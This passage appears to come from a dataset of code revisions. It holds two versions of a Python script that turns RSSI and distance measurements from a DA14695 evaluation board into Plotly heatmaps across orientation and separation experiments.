0.5})\n fig.update_xaxes(title='Separation (m)', row=2, col=1)\n fig.update_xaxes(title='Separation (m)', row=2, col=2)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, 'distance_%s.png' % antenna)\n )\n",
"step-4": "import numpy as np\nimport plotly\nfrom plotly.subplots import make_subplots\nimport plotly.graph_objects as go\nimport pandas as pd\nimport os\noutput_directory = 'C:/Users/jgamm/Desktop/rssi_measurement/2020-06-10/figures'\nantennas = ['original_whip']\nfolder = 'C:/Users/jgamm/Desktop/rssi_measurement/2020-06-10/data'\nri_filenames = []\nfor i_angle in np.arange(0, 360, 45):\n ri_filenames.append('r%di%d.csv' % (i_angle, i_angle))\n ri_filenames.append('r%di%d.csv' % (i_angle + 45, i_angle))\nri_filenames.append('r360i360.csv')\nangle_filenames = [('%d.csv' % n) for n in np.arange(0, 405, 45)]\ndistance_filenames = [('%1.2f.csv' % n) for n in np.arange(0.75, 3.25, 0.25)]\nref_line = dict(color='white', width=1)\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1, subplot_titles=[\n 'Initiator RSSI vs. yaw', 'Calculated distance vs. yaw'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp1'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in ri_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(db_lim[0],\n db_lim[1], -1), z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(dist_lim[\n 0], dist_lim[1], 0.1), z=dist_hist2d[int(dist_lim[0] / 0.1):int(\n dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1] * 16),\n mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, \n 'orientation_exp1_%s.png' % antenna))\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1, subplot_titles=[\n 'Initiator RSSI vs. pitch', 'Calculated distance vs. pitch'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp2'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in ri_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(db_lim[0],\n db_lim[1], -1), z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(dist_lim[\n 0], dist_lim[1], 0.1), z=dist_hist2d[int(dist_lim[0] / 0.1):int(\n dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1] * 16),\n mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, \n 'orientation_exp2_%s.png' % antenna))\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1, subplot_titles=[\n 'Initiator RSSI vs. roll', 'Calculated distance vs. roll'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp3'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in ri_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(db_lim[0],\n db_lim[1], -1), z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0, 765, 45), y=np.arange(dist_lim[\n 0], dist_lim[1], 0.1), z=dist_hist2d[int(dist_lim[0] / 0.1):int(\n dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1] * 16),\n mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, \n 'orientation_exp3_%s.png' % antenna))\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1, subplot_titles=[\n 'Initiator RSSI vs. position', 'Calculated distance vs. position'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp4'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in angle_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0, 360, 45), y=np.arange(db_lim[0],\n db_lim[1], -1), z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0, 360, 45), y=np.arange(dist_lim[\n 0], dist_lim[1], 0.1), z=dist_hist2d[int(dist_lim[0] / 0.1):int(\n dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 360, 45), y=np.array([1] * 16),\n mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, \n 'orientation_exp4_%s.png' % antenna))\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=2, subplot_titles=['Line of sight',\n 'Blocked'], shared_xaxes=True)\n rssi_los_hist2d = []\n dist_los_hist2d = []\n experiment = 'distance_los'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in distance_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_los_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_los_hist2d.append(column)\n rssi_los_hist2d = np.array(rssi_los_hist2d).T\n dist_los_hist2d = np.array(dist_los_hist2d).T\n rssi_blocked_hist2d = []\n dist_blocked_hist2d = []\n experiment = 'distance_blocked'\n for filename in distance_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi - 5 < db_lim[1]:\n db_lim[1] = rssi - 5\n if rssi + 5 > db_lim[0]:\n db_lim[0] = rssi + 5\n for dist in Dist:\n if dist - 0.5 < dist_lim[0]:\n dist_lim[0] = dist - 0.5\n if dist + 0.5 > dist_lim[1]:\n dist_lim[1] = dist + 0.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1] / len(data['i_rssi'])\n rssi_blocked_hist2d.append(column)\n column = np.zeros(1000)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0] / 0.1))\n column[row_idx] = row[1] / len(Dist)\n dist_blocked_hist2d.append(column)\n rssi_blocked_hist2d = np.array(rssi_blocked_hist2d).T\n dist_blocked_hist2d = np.array(dist_blocked_hist2d).T\n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n db_lim[0], db_lim[1], -1), z=rssi_los_hist2d[int(-db_lim[0]):int(-\n db_lim[1]), :], zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n dist_lim[0], dist_lim[1], 0.1), z=dist_los_hist2d[int(dist_lim[0] /\n 0.1):int(dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Heatmap(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n db_lim[0], db_lim[1], -1), z=rssi_blocked_hist2d[int(-db_lim[0]):\n int(-db_lim[1]), :], zmin=0, zmax=maxz), row=1, col=2)\n fig.add_trace(go.Heatmap(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n dist_lim[0], dist_lim[1], 0.1), z=dist_blocked_hist2d[int(dist_lim[\n 0] / 0.1):int(dist_lim[1] / 0.1), :], zmin=0, zmax=maxz), row=2, col=2)\n fig.add_trace(go.Scatter(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n 0.75, 3.25, 0.25), mode='lines', line=ref_line), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0.75, 3.25, 0.25), y=np.arange(\n 0.75, 3.25, 0.25), mode='lines', line=ref_line), row=2, col=2)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna' %\n antenna, 'xanchor': 'center', 'yanchor': 'top', 'y': 0.95, 'x': 0.5})\n fig.update_xaxes(title='Separation (m)', row=2, col=1)\n fig.update_xaxes(title='Separation (m)', row=2, col=2)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, 'distance_%s.png' % antenna)\n )\n",
"step-5": "#%%\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport plotly\nfrom plotly.subplots import make_subplots\nimport plotly.graph_objects as go\nimport pandas as pd\nimport os\n\noutput_directory = r'C:/Users/jgamm/Desktop/rssi_measurement/2020-06-10/figures'\nantennas = ['original_whip']\nfolder = r'C:/Users/jgamm/Desktop/rssi_measurement/2020-06-10/data'\nri_filenames = []\nfor i_angle in np.arange(0, 360, 45):\n ri_filenames.append('r%di%d.csv'%(i_angle, i_angle))\n ri_filenames.append('r%di%d.csv'%(i_angle+45, i_angle))\nri_filenames.append('r360i360.csv')\nangle_filenames = ['%d.csv'%(n) for n in np.arange(0, 405, 45)]\ndistance_filenames = ['%1.2f.csv'%(n) for n in np.arange(.75, 3.25, .25)]\n\nref_line = dict(color='white', width=1)\n\n# Plot yaw data\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1,\n subplot_titles=['Initiator RSSI vs. yaw',\n 'Calculated distance vs. yaw'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp1'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in ri_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi-5 < db_lim[1]:\n db_lim[1] = rssi-5\n if rssi+5 > db_lim[0]:\n db_lim[0] = rssi+5\n for dist in Dist:\n if dist-.5 < dist_lim[0]:\n dist_lim[0] = dist-.5\n if dist+.5 > dist_lim[1]:\n dist_lim[1] = dist+.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1]/len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0]/.1))\n column[row_idx] = row[1]/len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n \n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(\n x=np.arange(0, 765, 45),\n y=np.arange(db_lim[0], db_lim[1], -1),\n z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(\n x=np.arange(0, 765, 45),\n y=np.arange(dist_lim[0], dist_lim[1], .1),\n z=dist_hist2d[int(dist_lim[0]/.1):int(dist_lim[1]/.1), :],\n zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1]*16), mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna'%(antenna),\n 'xanchor': 'center', 'yanchor': 'top', 'y': .95, 'x': .5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, 'orientation_exp1_%s.png'%(antenna)))\n\n# Plot pitch data\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1,\n subplot_titles=['Initiator RSSI vs. pitch',\n 'Calculated distance vs. pitch'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp2'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in ri_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi-5 < db_lim[1]:\n db_lim[1] = rssi-5\n if rssi+5 > db_lim[0]:\n db_lim[0] = rssi+5\n for dist in Dist:\n if dist-.5 < dist_lim[0]:\n dist_lim[0] = dist-.5\n if dist+.5 > dist_lim[1]:\n dist_lim[1] = dist+.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1]/len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0]/.1))\n column[row_idx] = row[1]/len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n \n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(\n x=np.arange(0, 765, 45),\n y=np.arange(db_lim[0], db_lim[1], -1),\n z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(\n x=np.arange(0, 765, 45),\n y=np.arange(dist_lim[0], dist_lim[1], .1),\n z=dist_hist2d[int(dist_lim[0]/.1):int(dist_lim[1]/.1), :],\n zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1]*16), mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna'%(antenna),\n 'xanchor': 'center', 'yanchor': 'top', 'y': .95, 'x': .5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, 'orientation_exp2_%s.png'%(antenna)))\n\n# Plot roll data\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1,\n subplot_titles=['Initiator RSSI vs. roll',\n 'Calculated distance vs. roll'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp3'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in ri_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi-5 < db_lim[1]:\n db_lim[1] = rssi-5\n if rssi+5 > db_lim[0]:\n db_lim[0] = rssi+5\n for dist in Dist:\n if dist-.5 < dist_lim[0]:\n dist_lim[0] = dist-.5\n if dist+.5 > dist_lim[1]:\n dist_lim[1] = dist+.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1]/len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0]/.1))\n column[row_idx] = row[1]/len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n \n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(\n x=np.arange(0, 765, 45),\n y=np.arange(db_lim[0], db_lim[1], -1),\n z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(\n x=np.arange(0, 765, 45),\n y=np.arange(dist_lim[0], dist_lim[1], .1),\n z=dist_hist2d[int(dist_lim[0]/.1):int(dist_lim[1]/.1), :],\n zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 765, 45), y=np.array([1]*16), mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna'%(antenna),\n 'xanchor': 'center', 'yanchor': 'top', 'y': .95, 'x': .5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, 'orientation_exp3_%s.png'%(antenna)))\n\n# Plot position data\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=1,\n subplot_titles=['Initiator RSSI vs. position',\n 'Calculated distance vs. position'],\n shared_xaxes=True)\n rssi_hist2d = []\n dist_hist2d = []\n experiment = 'orientation_exp4'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in angle_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi-5 < db_lim[1]:\n db_lim[1] = rssi-5\n if rssi+5 > db_lim[0]:\n db_lim[0] = rssi+5\n for dist in Dist:\n if dist-.5 < dist_lim[0]:\n dist_lim[0] = dist-.5\n if dist+.5 > dist_lim[1]:\n dist_lim[1] = dist+.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1]/len(data['i_rssi'])\n rssi_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0]/.1))\n column[row_idx] = row[1]/len(Dist)\n dist_hist2d.append(column)\n rssi_hist2d = np.array(rssi_hist2d).T\n dist_hist2d = np.array(dist_hist2d).T\n \n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(\n x=np.arange(0, 360, 45),\n y=np.arange(db_lim[0], db_lim[1], -1),\n z=rssi_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(\n x=np.arange(0, 360, 45),\n y=np.arange(dist_lim[0], dist_lim[1], .1),\n z=dist_hist2d[int(dist_lim[0]/.1):int(dist_lim[1]/.1), :],\n zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(0, 360, 45), y=np.array([1]*16), mode='lines', line=ref_line), row=2, col=1)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna'%(antenna),\n 'xanchor': 'center', 'yanchor': 'top', 'y': .95, 'x': .5})\n fig.update_xaxes(title='Angle (°)', row=2, col=1)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, 'orientation_exp4_%s.png'%(antenna)))\n\n# Plot separation data\nfor antenna in antennas:\n fig = make_subplots(rows=2, cols=2,\n subplot_titles=['Line of sight', 'Blocked'],\n shared_xaxes=True)\n rssi_los_hist2d = []\n dist_los_hist2d = []\n experiment = 'distance_los'\n dist_lim = [100, 0]\n db_lim = [-100, 0]\n for filename in distance_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi-5 < db_lim[1]:\n db_lim[1] = rssi-5\n if rssi+5 > db_lim[0]:\n db_lim[0] = rssi+5\n for dist in Dist:\n if dist-.5 < dist_lim[0]:\n dist_lim[0] = dist-.5\n if dist+.5 > dist_lim[1]:\n dist_lim[1] = dist+.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1]/len(data['i_rssi'])\n rssi_los_hist2d.append(column)\n column = np.zeros(100)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0]/.1))\n column[row_idx] = row[1]/len(Dist)\n dist_los_hist2d.append(column)\n rssi_los_hist2d = np.array(rssi_los_hist2d).T\n dist_los_hist2d = np.array(dist_los_hist2d).T\n \n rssi_blocked_hist2d = []\n dist_blocked_hist2d = []\n experiment = 'distance_blocked'\n for filename in distance_filenames:\n data = pd.read_csv(os.path.join(folder, antenna, experiment, filename))\n Dist = np.around(data['distance'], 1)\n for rssi in data['i_rssi']:\n if rssi-5 < db_lim[1]:\n db_lim[1] = rssi-5\n if rssi+5 > db_lim[0]:\n db_lim[0] = rssi+5\n for dist in Dist:\n if dist-.5 < dist_lim[0]:\n dist_lim[0] = dist-.5\n if dist+.5 > dist_lim[1]:\n dist_lim[1] = dist+.5\n dist_lim[0] = np.max([0, dist_lim[0]])\n column = np.zeros(200)\n hist = np.array(np.unique(data['i_rssi'], return_counts=True)).T\n for row in hist:\n row_idx = -int(row[0])\n column[row_idx] = row[1]/len(data['i_rssi'])\n rssi_blocked_hist2d.append(column)\n column = np.zeros(1000)\n hist = np.array(np.unique(Dist, return_counts=True)).T\n for row in hist:\n row_idx = int(np.around(row[0]/.1))\n column[row_idx] = row[1]/len(Dist)\n dist_blocked_hist2d.append(column)\n rssi_blocked_hist2d = np.array(rssi_blocked_hist2d).T\n dist_blocked_hist2d = np.array(dist_blocked_hist2d).T\n \n maxz = np.max([np.max(rssi_hist2d), np.max(dist_hist2d)])\n fig.add_trace(go.Heatmap(\n x=np.arange(.75, 3.25, .25),\n y=np.arange(db_lim[0], db_lim[1], -1),\n z=rssi_los_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=1)\n fig.add_trace(go.Heatmap(\n x=np.arange(.75, 3.25, .25),\n y=np.arange(dist_lim[0], dist_lim[1], .1),\n z=dist_los_hist2d[int(dist_lim[0]/.1):int(dist_lim[1]/.1), :],\n zmin=0, zmax=maxz), row=2, col=1)\n fig.add_trace(go.Heatmap(\n 